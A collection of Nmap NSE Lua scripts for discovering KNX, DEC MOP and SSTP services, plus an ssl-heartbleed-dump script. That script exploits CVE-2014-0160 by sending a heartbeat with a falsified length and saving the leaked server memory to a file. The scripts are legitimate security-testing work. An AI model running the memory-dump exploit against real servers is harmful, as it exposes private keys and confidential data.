description_response.Body.DIB_DEV_INFO["Device MAC address"] = knx_dib_dev_mac 157 | description_response.Body.DIB_DEV_INFO["Device friendly name"] = knx_dib_dev_friendly_name 158 | description_response.Body.DIB_SUPP_SVC_FAMILIES = knx_supp_svc_families 159 | else 160 | description_response.Body = stdnse.output_table() 161 | description_response.Body.DIB_DEV_INFO = stdnse.output_table() 162 | description_response.Body.DIB_DEV_INFO["KNX address"] = parseKnxAddress(knx_dib_knx_address) 163 | description_response.Body.DIB_DEV_INFO["Decive serial"] = stdnse.tohex(knx_dib_dev_serial) 164 | description_response.Body.DIB_DEV_INFO["Multicast address"] = knx_dib_dev_multicast_addr 165 | description_response.Body.DIB_DEV_INFO["Device friendly name"] = knx_dib_dev_friendly_name 166 | description_response.Body.DIB_SUPP_SVC_FAMILIES = knx_supp_svc_families 167 | end 168 | 169 | return description_response 170 | end 171 | 172 | action = function(host, port) 173 | local sock = nmap.new_socket() 174 | local status, err = sock:connect(host, port, "udp") 175 | 176 | if not status then 177 | stdnse.debug1("%s", err) 178 | return 179 | end 180 | 181 | local _, lhost, lport, _, _ = sock:get_info() 182 | sock:send(knxQuery(lhost, lport)) 183 | local status, data = sock:receive() 184 | 185 | if not status then 186 | stdnse.debug("%s", err) 187 | return 188 | end 189 | 190 | sock:close() 191 | return knxParseDescriptionResponse(data) 192 | end 193 | -------------------------------------------------------------------------------- /mop-discover.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local bin = require "bin" 3 | local ipOps = require "ipOps" 4 | local stdnse = require "stdnse" 5 | local packet = require "packet" 6 | 7 | description = [[ 8 | Detect the Maintenance Operation Protocol (MOP) by sending layer 2 DEC DNA Remote 9 | Console hello/test messages. This protocol is e.g. used on Cisco devices (enabled 10 | by default on various images). 11 | 12 | Note: The console can be used with the moprc utility provided by the DECnet for 13 | Linux project. 14 | 15 | Further information: 16 | * http://sourceforge.net/projects/linux-decnet 17 | * http://linux-decnet.sourceforge.net/docs/doc_index.html 18 | * https://en.wikipedia.org/wiki/DECnet 19 | ]] 20 | 21 | author = "Niklaus Schiess " 22 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 23 | categories = {"default", "safe", "discovery"} 24 | 25 | -- 26 | --@args target MAC address of the target 27 | --@args timeout Max time to wait for a response. (default 3s) 28 | -- 29 | --@usage 30 | -- nmap --script mop-discover 192.168.1.1 31 | -- nmap --script mop-discover --script-argets target=01:02:03:04:05:06 32 | -- 33 | --@output 34 | -- Host script results: 35 | -- |_mop-discover: Maintenance Operation Protocol (MOP) is supported. 36 | -- 37 | 38 | prerule = function() 39 | if stdnse.get_script_args(SCRIPT_NAME .. ".target") then 40 | return true 41 | else 42 | return false 43 | end 44 | end 45 | 46 | hostrule = function(host) 47 | if not host.interface or not host.directly_connected or not host.mac_addr then 48 | return false 49 | else 50 | return true 51 | end 52 | end 53 | 54 | --- Routing control, hello/test message 55 | -- @param source Source MAC address 56 | -- @param target Target MAC address 57 | local build_frame = function(source, target) 58 | local payload = bin.pack('>CxCx29x7x5', 59 | 0x05, -- Routing flags 60 | 0x05, 61 | 10, 62 | 78 63 | ) 64 | local p = packet.Frame:new() 65 | p.mac_src = source.mac 66 | p.mac_dst = target 67 | p.ether_type = bin.pack('>S', 0x6002) 68 | p.buf = payload 69 | p:build_ether_frame() 70 | return p.frame_buf 71 | end 72 | 73 | --- Send an ethernet frame 74 | -- @param interface Interface which should be used 75 | -- @param frame The raw ethernet frame 76 | local send_ether_frame = function(interface, frame) 77 | local dnet = nmap.new_dnet() 78 | dnet:ethernet_open(interface.shortname) 79 | dnet:ethernet_send(frame) 80 | dnet:ethernet_close() 81 | end 82 | 83 | --- Listens for knx search responses 84 | -- @param interface Network interface to listen on. 85 | -- @param timeout Maximum time to listen. 86 | -- @param result table to put responses into. 87 | local listen_ether = function(interface, timeout, results) 88 | local condvar = nmap.condvar(results) 89 | local start = nmap.clock_ms() 90 | local listener = nmap.new_socket() 91 | local status, l3data, _ 92 | 93 | local filter = 'ether dst ' .. stdnse.format_mac(interface.mac) .. ' and ether proto 0x6002' 94 | listener:set_timeout(100) 95 | listener:pcap_open(interface.device, 1024, true, filter) 96 | 97 | while (nmap.clock_ms() - start) < timeout do 98 | status, _, _, l3data = listener:pcap_receive() 99 | if status then 100 | local p = packet.Packet:new(l3data, #l3data) 101 | table.insert(results, p) 102 | break 103 | end 104 | end 105 | condvar("signal") 106 | end 107 | 108 | action = function(host, port) 109 | local interface 110 | local target = stdnse.get_script_args(SCRIPT_NAME .. ".target") 111 | local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) 112 | timeout = (timeout or 3) * 1000 113 | 114 | if target then 115 | target = packet.mactobin(target) 116 | interface = nmap.get_interface() 117 | else 118 | target = host.mac_addr 119 | interface = host.interface 120 | end 121 | 122 | if interface then 123 | interface, err = nmap.get_interface_info(interface) 124 | if not interface then 125 | stdnse.debug1(err) 126 | return nil 127 | end 128 | else 129 | stdnse.debug1('Please specify a valid interface.') 130 | return nil 131 | end 132 | 133 | local results = {} 134 | stdnse.new_thread(listen_ether, interface, timeout, results) 135 | stdnse.sleep(0.5) 136 | 137 | local frame = build_frame(interface, target) 138 | send_ether_frame(interface, frame) 139 | 140 | local condvar = nmap.condvar(results) 141 | condvar("wait") 142 | 143 | if #results > 0 then 144 | return true, "Maintenance Operation Protocol (MOP) is supported." 145 | else 146 | return nil 147 | end 148 | end 149 | -------------------------------------------------------------------------------- /ssl-heartbleed-dump.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Detects whether a server is vulnerable to the OpenSSL Heartbleed bug (CVE-2014-0160). 3 | The code is based on the Python script ssltest.py authored by Jared Stafford (jspenguin@jspenguin.org). 4 | 5 | Provide -d flag for a dump of leaked memory. 6 | ]] 7 | 8 | --- 9 | -- @usage 10 | -- nmap -p 443 --script ssl-heartbleed 11 | -- 12 | -- @output 13 | -- PORT STATE SERVICE 14 | -- 443/tcp open https 15 | -- | ssl-heartbleed: 16 | -- | VULNERABLE: 17 | -- | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. 18 | -- | State: VULNERABLE 19 | -- | Risk factor: High 20 | -- | Description: 21 | -- | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. 22 | -- | 23 | -- | References: 24 | -- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 25 | -- | http://www.openssl.org/news/secadv_20140407.txt 26 | -- |_ http://cvedetails.com/cve/2014-0160/ 27 | -- 28 | -- 29 | -- @args ssl-heartbleed.protocols (default tries all) TLS 1.0, TLS 1.1, or TLS 1.2 30 | -- 31 | 32 | local bin = require('bin') 33 | local match = require('match') 34 | local nmap = require('nmap') 35 | local shortport = require('shortport') 36 | local sslcert = require('sslcert') 37 | local stdnse = require('stdnse') 38 | local string = require('string') 39 | local table = require('table') 40 | local vulns = require('vulns') 41 | local have_tls, tls = pcall(require,'tls') 42 | assert(have_tls, "This script requires the tls.lua library from http://nmap.org/nsedoc/lib/tls.html") 43 | 44 | author = "Patrik Karlsson " 45 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 46 | categories = { "vuln", "safe" } 47 | 48 | local arg_protocols = stdnse.get_script_args(SCRIPT_NAME .. ".protocols") or {'TLSv1.0', 'TLSv1.1', 'TLSv1.2'} 49 | local dumpfile = stdnse.get_script_args(SCRIPT_NAME .. ".dumpfile") or nil 50 | 51 | portrule = function(host, port) 52 | return shortport.ssl(host, port) or sslcert.isPortSupported(port) 53 | end 54 | 55 | -- Thanks to whoever wrote this. 56 | function hexdump(s) 57 | local manLine="" --human readable format of the current line 58 | local hexLine="" --hexadecimal representation of the current line 59 | local address=0 --the address where the current line starts 60 | local LINE_LENGTH=16 --how many characters per line? 61 | local ADDRESS_LENGTH=4 --how many characters for the address part? 62 | local ret="" 63 | local hex 64 | if not hex then 65 | hex={} 66 | local digit={[0]="0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F"} 67 | for i=0,15 do for j=0,15 do hex[i*16+j]=digit[i]..digit[j] end end 68 | end 69 | for i=1,s:len() do 70 | local ch=s:sub(i,i) 71 | if ch:find("%c") then ch="." end--if ch is a control character, assign some default value to it 72 | manLine=manLine..ch 73 | hexLine=hexLine..hex[s:byte(i)].." " 74 | if (i % LINE_LENGTH)==0 or i==s:len() then 75 | --print(string.format("%04u | %-48s | %s",address,hexLine,manLine)) 76 | ret=ret..string.format("%0"..ADDRESS_LENGTH.."u | %-"..3*LINE_LENGTH.."s| %s\n",address,hexLine,manLine) 77 | manLine,hexLine="","" 78 | address=i 79 | end 80 | end 81 | return ret 82 | end 83 | 84 | local function recvhdr(s) 85 | local status, hdr = s:receive_buf(match.numbytes(5), true) 86 | if not status then 87 | stdnse.print_debug(2, '%s: Unexpected EOF receiving record header - server closed connection',SCRIPT_NAME) 88 | return 89 | end 90 | local pos, typ, ver, ln = bin.unpack('>CSS', hdr) 91 | return status, typ, ver, ln 92 | end 93 | 94 | local function recvmsg(s, len) 95 | local status, pay = s:receive_buf(match.numbytes(len), true) 96 | if not status then 97 | stdnse.print_debug(2, '%s: Unexpected EOF receiving record payload - server closed connection',SCRIPT_NAME) 98 | return 99 | end 100 | return true, pay 101 | end 102 | 103 | local function keys(t) 104 | local ret = {} 105 | for k, _ in pairs(t) do 106 | ret[#ret+1] = k 107 | end 108 | return ret 109 | end 110 | 111 | local function testversion(host, port, version) 112 | 113 | local hello = tls.client_hello({ 114 | ["protocol"] = version, 115 | ["ciphers"] = { 116 | "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", 117 | "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", 118 | "TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA", 119 | "TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA", 120 | "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", 121 | "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", 122 | "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", 123 | "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", 124 | "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", 125 | "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", 126 | "TLS_RSA_WITH_AES_256_CBC_SHA", 127 | "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", 128 | "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", 129 | "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", 130 | "TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA", 131 | "TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA", 132 | "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", 133 | "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", 134 | "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", 135 | "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", 136 | "TLS_RSA_WITH_3DES_EDE_CBC_SHA", 137 | "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", 138 | "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", 139 | "TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA", 140 | "TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA", 141 | "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", 142 | "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", 143 | "TLS_DHE_RSA_WITH_SEED_CBC_SHA", 144 | "TLS_DHE_DSS_WITH_SEED_CBC_SHA", 145 | "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", 146 | "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", 147 | "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", 148 | "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", 149 | "TLS_RSA_WITH_AES_128_CBC_SHA", 150 | "TLS_RSA_WITH_SEED_CBC_SHA", 151 | "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", 152 | "TLS_ECDHE_RSA_WITH_RC4_128_SHA", 153 | "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", 154 | "TLS_ECDH_RSA_WITH_RC4_128_SHA", 155 | "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", 156 | "TLS_RSA_WITH_RC4_128_SHA", 157 | "TLS_RSA_WITH_RC4_128_MD5", 158 | "TLS_DHE_RSA_WITH_DES_CBC_SHA", 159 | "TLS_DHE_DSS_WITH_DES_CBC_SHA", 160 | "TLS_RSA_WITH_DES_CBC_SHA", 161 | "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", 162 | "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", 163 | "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", 164 | "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", 165 | "TLS_RSA_EXPORT_WITH_RC4_40_MD5", 166 | "TLS_EMPTY_RENEGOTIATION_INFO_SCSV", 167 | }, 168 | ["compressors"] = {"NULL"}, 169 | ["extensions"] = { 170 | -- Claim to support every elliptic curve 171 | ["elliptic_curves"] = tls.EXTENSION_HELPERS["elliptic_curves"](keys(tls.ELLIPTIC_CURVES)), 172 | -- Claim to support every EC point format 173 | ["ec_point_formats"] = tls.EXTENSION_HELPERS["ec_point_formats"](keys(tls.EC_POINT_FORMATS)), 174 | ["heartbeat"] = "\x01", -- peer_not_allowed_to_send 175 | }, 176 | }) 177 | 178 | local payload = "Nmap ssl-heartbleed" 179 | local hb = tls.record_write("heartbeat", version, bin.pack("C>SA", 180 | 1, -- HeartbeatMessageType heartbeat_request 181 | 0x8030, -- payload length (falsified) 182 | -- payload length is based on 4096 - 16 bytes padding - 8 bytes packet 183 | -- header + 1 to overflow 184 | payload -- less than payload length. 185 | ) 186 | ) 187 | 188 | local s 189 | local specialized = sslcert.getPrepareTLSWithoutReconnect(port) 190 | if specialized then 191 | local status 192 | status, s = specialized(host, port) 193 | if not status then 194 | stdnse.print_debug(2, "%s: Connection to server failed",SCRIPT_NAME) 195 | return 196 | end 197 | else 198 | s = nmap.new_socket() 199 | local status = s:connect(host, port) 200 | if not status then 201 | stdnse.print_debug(2, "%s: Connection to server failed",SCRIPT_NAME) 202 | return 203 | end 204 | end 205 | 206 | s:set_timeout(5000) 207 | 208 | -- Send Client Hello to the target server 209 | local status, err = s:send(hello) 210 | if not status then 211 | stdnse.print_debug(2,"%s: Couldn't send Client Hello: %s",SCRIPT_NAME,err) 212 | s:close() 213 | return nil 214 | end 215 | 216 | -- Read response 217 | local done = false 218 | local supported = false 219 | local i = 1 220 | local response 221 | repeat 222 | status, response, err = tls.record_buffer(s, response, i) 223 | if err == "TIMEOUT" then 224 | -- Timed out while waiting for server_hello_done 225 | -- Could be client certificate required or other message required 226 | -- Let's just drop out and try sending the heartbeat anyway. 227 | done = true 228 | break 229 | elseif not status then 230 | stdnse.print_debug(2,"%s: Couldn't receive: %s",SCRIPT_NAME,err) 231 | s:close() 232 | return nil 233 | end 234 | 235 | local record 236 | i, record = tls.record_read(response, i) 237 | if record == nil then 238 | stdnse.print_debug(2,"%s: Unknown response from server",SCRIPT_NAME) 239 | s:close() 240 | return nil 241 | elseif record.protocol ~= version then 242 | stdnse.print_debug(2,"%s: Protocol version mismatch",SCRIPT_NAME) 243 | s:close() 244 | return nil 245 | end 246 | 247 | if record.type == "handshake" then 248 | for _, body in ipairs(record.body) do 249 | if body.type == "server_hello" then 250 | if body.extensions and body.extensions["heartbeat"] == "\x01" then 251 | supported = true 252 | end 253 | elseif body.type == "server_hello_done" then 254 | stdnse.print_debug("we're done!") 255 | done = true 256 | end 257 | end 258 | end 259 | until done 260 | if not supported then 261 | stdnse.print_debug("%s: Server does not support TLS Heartbeat Requests.",SCRIPT_NAME) 262 | s:close() 263 | return nil 264 | end 265 | 266 | status, err = s:send(hb) 267 | if not status then 268 | stdnse.print_debug(2,"%s: Couldn't send heartbeat request: %s",SCRIPT_NAME,err) 269 | s:close() 270 | return nil 271 | end 272 | while(true) do 273 | local status, typ, ver, len = recvhdr(s) 274 | if not status then 275 | stdnse.print_debug("%s: No heartbeat response received, server likely not vulnerable",SCRIPT_NAME) 276 | break 277 | end 278 | if typ == 24 then 279 | local pay 280 | status, pay = recvmsg(s, len) 281 | s:close() 282 | if #pay > 3 then 283 | if dumpfile then 284 | local file = io.open(dumpfile, "w") 285 | file:write(pay) 286 | file:flush() 287 | file:close() 288 | else 289 | stdnse.print_debug("%s: Leaked memory below\n\n%s",SCRIPT_NAME,hexdump(pay)) 290 | end 291 | return true 292 | else 293 | stdnse.print_debug("%s: Server processed malformed heartbeat, but did not return any extra data.",SCRIPT_NAME) 294 | break 295 | end 296 | elseif typ == 21 then 297 | stdnse.print_debug("%s: Server returned error, likely not vulnerable",SCRIPT_NAME) 298 | break 299 | end 300 | end 301 | 302 | end 303 | 304 | action = function(host, port) 305 | local vuln_table = { 306 | title = "The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.", 307 | state = vulns.STATE.NOT_VULN, 308 | risk_factor = "High", 309 | description = [[ 310 | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. 311 | ]], 312 | 313 | references = { 314 | 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160', 315 | 'http://www.openssl.org/news/secadv_20140407.txt ', 316 | 'http://cvedetails.com/cve/2014-0160/' 317 | } 318 | } 319 | 320 | local report = vulns.Report:new(SCRIPT_NAME, host, port) 321 | local test_vers = arg_protocols 322 | 323 | if type(test_vers) == 'string' then 324 | test_vers = { test_vers } 325 | end 326 | 327 | for _, ver in ipairs(test_vers) do 328 | if nil == tls.PROTOCOLS[ver] then 329 | return "\n Unsupported protocol version: " .. ver 330 | end 331 | local status = testversion(host, port, ver) 332 | if ( status ) then 333 | vuln_table.state = vulns.STATE.VULN 334 | break 335 | end 336 | end 337 | 338 | return report:make_output(vuln_table) 339 | end 340 | -------------------------------------------------------------------------------- /sstp-discover.nse: -------------------------------------------------------------------------------- 1 | local comm = require 'comm' 2 | local string = require 'string' 3 | local stdnse = require 'stdnse' 4 | local shortport = require 'shortport' 5 | 6 | description = [[ 7 | Check if the Secure Socket Tunneling Protocol is supported. This is 8 | accomplished by trying to establish the HTTPS layer which is used to 9 | carry SSTP traffic as described in: 10 | - http://msdn.microsoft.com/en-us/library/cc247364.aspx 11 | 12 | Current SSTP server implementations: 13 | - Microsoft Windows (Server 2008/Server 2012) 14 | - MikroTik RouterOS 15 | - SEIL (http://www.seil.jp) 16 | ]] 17 | 18 | --SSTP specification: 19 | -- _ http://msdn.microsoft.com/en-us/library/cc247338.aspx 20 | -- 21 | --Info about the default URI (ServerUri): 22 | -- - http://support.microsoft.com/kb/947054 23 | -- 24 | --SSTP Remote Access Step-by-Step Guide: Deployment: 25 | -- - http://technet.microsoft.com/de-de/library/cc731352(v=ws.10).aspx 26 | -- 27 | --SSTP enabled hosts (for testing purposes): 28 | -- - http://billing.purevpn.com/sstp-manual-setup-hostname-list.php 29 | 30 | author = "Niklaus Schiess " 31 | categories = {'discovery', 'default'} 32 | 33 | --- 34 | --@output 35 | -- 443/tcp open https 36 | -- |_sstp-discover: SSTP is supported. 37 | --@xmloutput 38 | -- true 39 | 40 | -- SSTP negotiation response (Windows) 41 | -- 42 | -- HTTP/1.1 200 43 | -- Content-Length: 18446744073709551615 44 | -- Server: Microsoft-HTTPAPI/2.0 45 | -- Date: Fri, 01 Nov 2013 00:00:00 GMT 46 | 47 | -- SSTP negotiation response (Mikrotik RouterOS) 48 | -- 49 | -- HTTP/1.1 200 50 | -- Content-Length: 18446744073709551615 51 | -- Server: MikroTik-SSTP 52 | -- Date: Fri, 01 Nov 2013 00:00:00 GMT 53 | 54 | portrule = function(host, port) 55 | return shortport.http(host, port) and shortport.ssl(host, port) 56 | end 57 | 58 | -- The SSTPCORRELATIONID GUID is optional and client-generated. 59 | -- The last 5 bytes are "Nmap!" 60 | local request = 61 | 'SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1\r\n' .. 62 | 'Host: %s\r\n' .. 63 | 'SSTPCORRELATIONID: {5a433238-8781-11e3-b2e4-4e6d617021}\r\n' .. 64 | 'Content-Length: 18446744073709551615\r\n\r\n' 65 | 66 | action = function(host, port) 67 | local socket, response = comm.tryssl(host,port, 68 | string.format(request, host.targetname or host.ip), 69 | { timeout=3000, lines=4 }) 70 | if not socket then 71 | stdnse.debug1("Problem establishing connection: %s", response) 72 | return nil 73 | end 74 | socket:close() 75 | 76 | if string.match(response, 'HTTP/1.1 200') then 77 | return true, 'SSTP is supported.' 78 | end 79 | return nil 80 | end 81 | --------------------------------------------------------------------------------